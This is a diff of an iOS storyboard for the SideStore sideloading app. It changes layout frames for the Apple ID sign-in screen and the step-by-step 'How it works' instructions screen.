<scrollView clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" alwaysBounceVertical="YES" indicatorStyle="white" keyboardDismissMode="onDrag" translatesAutoresizingMaskIntoConstraints="NO" id="WXx-hX-AXv"> <scrollView clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" alwaysBounceVertical="YES" indicatorStyle="white" keyboardDismissMode="onDrag" translatesAutoresizingMaskIntoConstraints="NO" id="WXx-hX-AXv">
<rect key="frame" x="0.0" y="0.0" width="393" height="852"/> <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<subviews> <subviews>
<view contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" translatesAutoresizingMaskIntoConstraints="NO" id="2wp-qG-f0Z"> <view contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" translatesAutoresizingMaskIntoConstraints="NO" id="2wp-qG-f0Z">
<rect key="frame" x="0.0" y="0.0" width="393" height="715"/> <rect key="frame" x="0.0" y="0.0" width="375" height="623"/>
<subviews> <subviews>
<stackView opaque="NO" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" axis="vertical" spacing="50" translatesAutoresizingMaskIntoConstraints="NO" id="YmX-7v-pxh"> <stackView opaque="NO" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" axis="vertical" spacing="50" translatesAutoresizingMaskIntoConstraints="NO" id="YmX-7v-pxh">
<rect key="frame" x="16" y="6" width="361" height="359"/> <rect key="frame" x="16" y="6" width="343" height="359.5"/>
<subviews> <subviews>
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" alignment="top" spacing="6" translatesAutoresizingMaskIntoConstraints="NO" id="Yfu-hI-0B7" userLabel="Welcome"> <stackView opaque="NO" contentMode="scaleToFill" axis="vertical" alignment="top" spacing="6" translatesAutoresizingMaskIntoConstraints="NO" id="Yfu-hI-0B7" userLabel="Welcome">
<rect key="frame" x="0.0" y="0.0" width="361" height="67"/> <rect key="frame" x="0.0" y="0.0" width="343" height="67.5"/>
<subviews> <subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Welcome to SideStore." textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="EI2-V3-zQZ"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Welcome to SideStore." textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="EI2-V3-zQZ">
<rect key="frame" x="0.0" y="0.0" width="357.33333333333331" height="40.666666666666664"/> <rect key="frame" x="0.0" y="0.0" width="332" height="41"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="34"/> <fontDescription key="fontDescription" type="boldSystem" pointSize="34"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
</label> </label>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Sign in with your Apple ID to get started." textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="SNU-tv-8Au"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Sign in with your Apple ID to get started." textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="SNU-tv-8Au">
<rect key="frame" x="0.0" y="46.666666666666664" width="306.33333333333331" height="20.333333333333336"/> <rect key="frame" x="0.0" y="47" width="306.5" height="20.5"/>
<fontDescription key="fontDescription" type="system" pointSize="17"/> <fontDescription key="fontDescription" type="system" pointSize="17"/>
<color key="textColor" white="1" alpha="0.59999999999999998" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="0.59999999999999998" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
@@ -71,19 +71,19 @@
</subviews> </subviews>
</stackView> </stackView>
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="32" translatesAutoresizingMaskIntoConstraints="NO" id="Aqh-MD-HFf"> <stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="32" translatesAutoresizingMaskIntoConstraints="NO" id="Aqh-MD-HFf">
<rect key="frame" x="0.0" y="117" width="361" height="242"/> <rect key="frame" x="0.0" y="117.5" width="343" height="242"/>
<subviews> <subviews>
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="15" translatesAutoresizingMaskIntoConstraints="NO" id="Oy6-xr-cZ7"> <stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="15" translatesAutoresizingMaskIntoConstraints="NO" id="Oy6-xr-cZ7">
<rect key="frame" x="0.0" y="0.0" width="361" height="159"/> <rect key="frame" x="0.0" y="0.0" width="343" height="159"/>
<subviews> <subviews>
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="4" translatesAutoresizingMaskIntoConstraints="NO" id="H95-7V-Kk8" userLabel="Apple ID"> <stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="4" translatesAutoresizingMaskIntoConstraints="NO" id="H95-7V-Kk8" userLabel="Apple ID">
<rect key="frame" x="0.0" y="0.0" width="361" height="72"/> <rect key="frame" x="0.0" y="0.0" width="343" height="72"/>
<subviews> <subviews>
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" translatesAutoresizingMaskIntoConstraints="NO" id="KN1-Kp-M1q"> <stackView opaque="NO" contentMode="scaleToFill" axis="vertical" translatesAutoresizingMaskIntoConstraints="NO" id="KN1-Kp-M1q">
<rect key="frame" x="0.0" y="0.0" width="361" height="17"/> <rect key="frame" x="0.0" y="0.0" width="343" height="17"/>
<subviews> <subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="APPLE ID" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="59N-O1-6bM"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="APPLE ID" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="59N-O1-6bM">
<rect key="frame" x="14" y="0.0" width="347" height="17"/> <rect key="frame" x="14" y="0.0" width="329" height="17"/>
<fontDescription key="fontDescription" type="system" pointSize="14"/> <fontDescription key="fontDescription" type="system" pointSize="14"/>
<color key="textColor" white="1" alpha="0.75" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="0.75" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
@@ -92,10 +92,10 @@
<edgeInsets key="layoutMargins" top="0.0" left="14" bottom="0.0" right="0.0"/> <edgeInsets key="layoutMargins" top="0.0" left="14" bottom="0.0" right="0.0"/>
</stackView> </stackView>
<view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="gNe-dC-oI1"> <view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="gNe-dC-oI1">
<rect key="frame" x="0.0" y="21" width="361" height="51"/> <rect key="frame" x="0.0" y="21" width="343" height="51"/>
<subviews> <subviews>
<textField opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" placeholder="name@email.com" textAlignment="natural" minimumFontSize="17" translatesAutoresizingMaskIntoConstraints="NO" id="DBu-vt-hlo"> <textField opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" placeholder="name@email.com" textAlignment="natural" minimumFontSize="17" translatesAutoresizingMaskIntoConstraints="NO" id="DBu-vt-hlo">
<rect key="frame" x="14" y="0.0" width="333" height="51"/> <rect key="frame" x="14" y="0.0" width="315" height="51"/>
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="19"/> <fontDescription key="fontDescription" type="boldSystem" pointSize="19"/>
@@ -118,13 +118,13 @@
</subviews> </subviews>
</stackView> </stackView>
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="4" translatesAutoresizingMaskIntoConstraints="NO" id="hd5-yc-rcq" userLabel="Password"> <stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="4" translatesAutoresizingMaskIntoConstraints="NO" id="hd5-yc-rcq" userLabel="Password">
<rect key="frame" x="0.0" y="87" width="361" height="72"/> <rect key="frame" x="0.0" y="87" width="343" height="72"/>
<subviews> <subviews>
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" translatesAutoresizingMaskIntoConstraints="NO" id="lvX-im-C95"> <stackView opaque="NO" contentMode="scaleToFill" axis="vertical" translatesAutoresizingMaskIntoConstraints="NO" id="lvX-im-C95">
<rect key="frame" x="0.0" y="0.0" width="361" height="17"/> <rect key="frame" x="0.0" y="0.0" width="343" height="17"/>
<subviews> <subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="PASSWORD" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="Ava-XY-7vs"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="PASSWORD" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="Ava-XY-7vs">
<rect key="frame" x="14" y="0.0" width="347" height="17"/> <rect key="frame" x="14" y="0.0" width="329" height="17"/>
<fontDescription key="fontDescription" type="system" pointSize="14"/> <fontDescription key="fontDescription" type="system" pointSize="14"/>
<color key="textColor" white="1" alpha="0.75" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="0.75" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
@@ -133,10 +133,10 @@
<edgeInsets key="layoutMargins" top="0.0" left="14" bottom="0.0" right="0.0"/> <edgeInsets key="layoutMargins" top="0.0" left="14" bottom="0.0" right="0.0"/>
</stackView> </stackView>
<view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="cLc-iA-yq5"> <view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="cLc-iA-yq5">
<rect key="frame" x="0.0" y="21" width="361" height="51"/> <rect key="frame" x="0.0" y="21" width="343" height="51"/>
<subviews> <subviews>
<textField opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" placeholder="••••••••" textAlignment="natural" minimumFontSize="17" translatesAutoresizingMaskIntoConstraints="NO" id="R77-TQ-lVT"> <textField opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" placeholder="••••••••" textAlignment="natural" minimumFontSize="17" translatesAutoresizingMaskIntoConstraints="NO" id="R77-TQ-lVT">
<rect key="frame" x="14" y="0.0" width="333" height="51"/> <rect key="frame" x="14" y="0.0" width="315" height="51"/>
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="19"/> <fontDescription key="fontDescription" type="boldSystem" pointSize="19"/>
@@ -161,7 +161,7 @@
</subviews> </subviews>
</stackView> </stackView>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="2N5-zd-fUj"> <button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="2N5-zd-fUj">
<rect key="frame" x="0.0" y="191" width="361" height="51"/> <rect key="frame" x="0.0" y="191" width="343" height="51"/>
<color key="backgroundColor" name="SettingsHighlighted"/> <color key="backgroundColor" name="SettingsHighlighted"/>
<constraints> <constraints>
<constraint firstAttribute="height" constant="51" id="4BK-Un-5pl"/> <constraint firstAttribute="height" constant="51" id="4BK-Un-5pl"/>
@@ -179,16 +179,16 @@
</subviews> </subviews>
</stackView> </stackView>
<stackView opaque="NO" contentMode="scaleToFill" verticalCompressionResistancePriority="250" axis="vertical" spacing="4" translatesAutoresizingMaskIntoConstraints="NO" id="DBk-rT-ZE8"> <stackView opaque="NO" contentMode="scaleToFill" verticalCompressionResistancePriority="250" axis="vertical" spacing="4" translatesAutoresizingMaskIntoConstraints="NO" id="DBk-rT-ZE8">
<rect key="frame" x="16" y="611" width="361" height="96"/> <rect key="frame" x="16" y="518.5" width="343" height="96.5"/>
<subviews> <subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Why do we need this?" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="p9U-0q-Kn8"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Why do we need this?" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="p9U-0q-Kn8">
<rect key="frame" x="0.0" y="0.0" width="361" height="20.333333333333332"/> <rect key="frame" x="0.0" y="0.0" width="343" height="20.5"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/> <fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
</label> </label>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" verticalCompressionResistancePriority="249" textAlignment="natural" lineBreakMode="tailTruncation" numberOfLines="0" baselineAdjustment="alignBaselines" minimumScaleFactor="0.25" translatesAutoresizingMaskIntoConstraints="NO" id="on2-62-waY"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" verticalCompressionResistancePriority="249" textAlignment="natural" lineBreakMode="tailTruncation" numberOfLines="0" baselineAdjustment="alignBaselines" minimumScaleFactor="0.25" translatesAutoresizingMaskIntoConstraints="NO" id="on2-62-waY">
<rect key="frame" x="0.0" y="24.333333333333371" width="361" height="71.666666666666671"/> <rect key="frame" x="0.0" y="24.5" width="343" height="72"/>
<string key="text">Your Apple ID is used to configure apps so they can be installed on this device. Your credentials will be stored securely in this device's Keychain and sent only to Apple for authentication.</string> <string key="text">Your Apple ID is used to configure apps so they can be installed on this device. Your credentials will be stored securely in this device's Keychain and sent only to Apple for authentication.</string>
<fontDescription key="fontDescription" type="system" pointSize="15"/> <fontDescription key="fontDescription" type="system" pointSize="15"/>
<color key="textColor" white="1" alpha="0.75" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="0.75" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
@@ -258,19 +258,19 @@
<!--How it works--> <!--How it works-->
<scene sceneID="dMt-EA-SGy"> <scene sceneID="dMt-EA-SGy">
<objects> <objects>
<viewController storyboardIdentifier="instructionsViewController" hidesBottomBarWhenPushed="YES" useStoryboardIdentifierAsRestorationIdentifier="YES" id="aFi-fb-W0B" customClass="InstructionsViewController" customModule="SideStoreAppKit" sceneMemberID="viewController"> <viewController storyboardIdentifier="instructionsViewController" hidesBottomBarWhenPushed="YES" id="aFi-fb-W0B" customClass="InstructionsViewController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" id="Otz-hn-WGS"> <view key="view" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" id="Otz-hn-WGS">
<rect key="frame" x="0.0" y="0.0" width="393" height="852"/> <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<subviews> <subviews>
<stackView opaque="NO" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" axis="vertical" distribution="equalSpacing" translatesAutoresizingMaskIntoConstraints="NO" id="bp6-55-IG2"> <stackView opaque="NO" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" axis="vertical" distribution="equalSpacing" translatesAutoresizingMaskIntoConstraints="NO" id="bp6-55-IG2">
<rect key="frame" x="0.0" y="103" width="393" height="656"/> <rect key="frame" x="0.0" y="44" width="375" height="564"/>
<subviews> <subviews>
<stackView opaque="NO" contentMode="scaleToFill" alignment="center" spacing="20" translatesAutoresizingMaskIntoConstraints="NO" id="FjP-tm-w7K"> <stackView opaque="NO" contentMode="scaleToFill" alignment="center" spacing="20" translatesAutoresizingMaskIntoConstraints="NO" id="FjP-tm-w7K">
<rect key="frame" x="16" y="35.000000000000007" width="361" height="95.666666666666686"/> <rect key="frame" x="16" y="35" width="343" height="95.5"/>
<subviews> <subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="1" textAlignment="right" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="i9V-3h-B8f"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="1" textAlignment="right" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="i9V-3h-B8f">
<rect key="frame" x="0.0" y="0.0" width="59" height="95.666666666666671"/> <rect key="frame" x="0.0" y="0.0" width="59" height="95.5"/>
<constraints> <constraints>
<constraint firstAttribute="width" constant="59" id="ILg-0e-PW8"/> <constraint firstAttribute="width" constant="59" id="ILg-0e-PW8"/>
</constraints> </constraints>
@@ -279,16 +279,16 @@
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
</label> </label>
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="5" translatesAutoresizingMaskIntoConstraints="NO" id="Q20-ml-9D0"> <stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="5" translatesAutoresizingMaskIntoConstraints="NO" id="Q20-ml-9D0">
<rect key="frame" x="79" y="15.999999999999996" width="282" height="63.666666666666657"/> <rect key="frame" x="79" y="16" width="264" height="64"/>
<subviews> <subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Launch SideStore" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="XKD-XH-eB0"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Launch SideStore" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="XKD-XH-eB0">
<rect key="frame" x="0.0" y="0.0" width="282" height="20.333333333333332"/> <rect key="frame" x="0.0" y="0.0" width="264" height="20.5"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/> <fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
</label> </label>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Leave SideStore running in the background on your idevice." textAlignment="natural" lineBreakMode="tailTruncation" numberOfLines="2" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="6HP-Xh-sAH"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Leave SideStore running in the background on your idevice." textAlignment="natural" lineBreakMode="tailTruncation" numberOfLines="2" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="6HP-Xh-sAH">
<rect key="frame" x="0.0" y="25.333333333333346" width="282" height="38.333333333333343"/> <rect key="frame" x="0.0" y="25.5" width="264" height="38.5"/>
<fontDescription key="fontDescription" type="system" pointSize="16"/> <fontDescription key="fontDescription" type="system" pointSize="16"/>
<color key="textColor" white="1" alpha="0.59999999999999998" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="0.59999999999999998" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
@@ -298,10 +298,10 @@
</subviews> </subviews>
</stackView> </stackView>
<stackView opaque="NO" contentMode="scaleToFill" alignment="center" spacing="20" translatesAutoresizingMaskIntoConstraints="NO" id="LpI-Jt-SzX"> <stackView opaque="NO" contentMode="scaleToFill" alignment="center" spacing="20" translatesAutoresizingMaskIntoConstraints="NO" id="LpI-Jt-SzX">
<rect key="frame" x="16" y="198.33333333333331" width="361" height="95.666666666666686"/> <rect key="frame" x="16" y="168" width="343" height="95.5"/>
<subviews> <subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="2" textAlignment="right" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="0LW-eE-qHa"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="2" textAlignment="right" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="0LW-eE-qHa">
<rect key="frame" x="0.0" y="0.0" width="59" height="95.666666666666671"/> <rect key="frame" x="0.0" y="0.0" width="59" height="95.5"/>
<constraints> <constraints>
<constraint firstAttribute="width" constant="59" id="HzE-AA-eE5"/> <constraint firstAttribute="width" constant="59" id="HzE-AA-eE5"/>
</constraints> </constraints>
@@ -310,16 +310,16 @@
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
</label> </label>
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="5" translatesAutoresizingMaskIntoConstraints="NO" id="dMu-eg-gIO"> <stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="5" translatesAutoresizingMaskIntoConstraints="NO" id="dMu-eg-gIO">
<rect key="frame" x="79" y="16.333333333333371" width="282" height="63"/> <rect key="frame" x="79" y="17" width="264" height="61.5"/>
<subviews> <subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Connect to Wi-Fi and VPN" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="esj-pD-D4A"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Connect to Wi-Fi and VPN" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="esj-pD-D4A">
<rect key="frame" x="0.0" y="0.0" width="282" height="20.333333333333332"/> <rect key="frame" x="0.0" y="0.0" width="264" height="20.5"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/> <fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
</label> </label>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Enable SideStore VPN in Wireguard and be able to use Sidestore on the go." textAlignment="natural" lineBreakMode="tailTruncation" numberOfLines="2" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="4rk-ge-FSj"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Enable SideStore VPN in Wireguard and be able to use Sidestore on the go." textAlignment="natural" lineBreakMode="tailTruncation" numberOfLines="2" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="4rk-ge-FSj">
<rect key="frame" x="0.0" y="25.333333333333311" width="282" height="37.666666666666657"/> <rect key="frame" x="0.0" y="25.5" width="264" height="36"/>
<fontDescription key="fontDescription" type="system" pointSize="16"/> <fontDescription key="fontDescription" type="system" pointSize="16"/>
<color key="textColor" white="1" alpha="0.59999999999999998" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="0.59999999999999998" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
@@ -329,10 +329,10 @@
</subviews> </subviews>
</stackView> </stackView>
<stackView opaque="NO" contentMode="scaleToFill" alignment="center" spacing="20" translatesAutoresizingMaskIntoConstraints="NO" id="tfb-ja-9UC"> <stackView opaque="NO" contentMode="scaleToFill" alignment="center" spacing="20" translatesAutoresizingMaskIntoConstraints="NO" id="tfb-ja-9UC">
<rect key="frame" x="16" y="362" width="361" height="95.666666666666686"/> <rect key="frame" x="16" y="300.5" width="343" height="95.5"/>
<subviews> <subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="3" textAlignment="right" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="nVr-El-Csi"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="3" textAlignment="right" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="nVr-El-Csi">
<rect key="frame" x="0.0" y="0.0" width="59" height="95.666666666666671"/> <rect key="frame" x="0.0" y="0.0" width="59" height="95.5"/>
<constraints> <constraints>
<constraint firstAttribute="width" constant="59" id="fRj-b4-VTe"/> <constraint firstAttribute="width" constant="59" id="fRj-b4-VTe"/>
</constraints> </constraints>
@@ -341,16 +341,16 @@
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
</label> </label>
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="5" translatesAutoresizingMaskIntoConstraints="NO" id="z6Y-zi-teL"> <stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="5" translatesAutoresizingMaskIntoConstraints="NO" id="z6Y-zi-teL">
<rect key="frame" x="79" y="15.999999999999996" width="282" height="63.666666666666657"/> <rect key="frame" x="79" y="16" width="264" height="64"/>
<subviews> <subviews>
